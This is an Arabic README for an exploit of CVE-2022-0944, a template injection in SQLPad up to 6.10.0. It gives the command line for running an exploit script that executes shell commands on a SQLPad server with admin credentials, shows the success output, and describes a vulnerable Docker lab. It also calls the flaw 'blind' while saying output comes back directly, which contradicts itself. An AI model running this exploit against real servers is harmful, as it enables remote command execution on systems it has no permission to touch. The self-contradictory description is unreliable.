CVE-2022-0944

SQLPad - حقن القوالب

هذه ثغرة عمياء، مما يعني أن المخرجات تُرجَع مباشرةً في الاستجابة.

الاستغلال

استخدم السكربت مع الأمر التالي:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

المخرجات

[*] Login was successfull
[*] Exploited!

بيئة الاختبار

باستخدام docker:

• ابدأ حاوية docker - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• اتصل بحاوية docker - sudo docker exec -it vulnerable-sqlpad /bin/bash

للوصول إلى الواجهة الإلكترونية، استخدم الرابط http://localhost:13000 مع بيانات الاعتماد admin:password.

الإصدارات المتأثرة

<= 6.10.0

المصدر

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

إخلاء المسؤولية

استخدمه فقط للأغراض التعليمية أو تحديات CTF.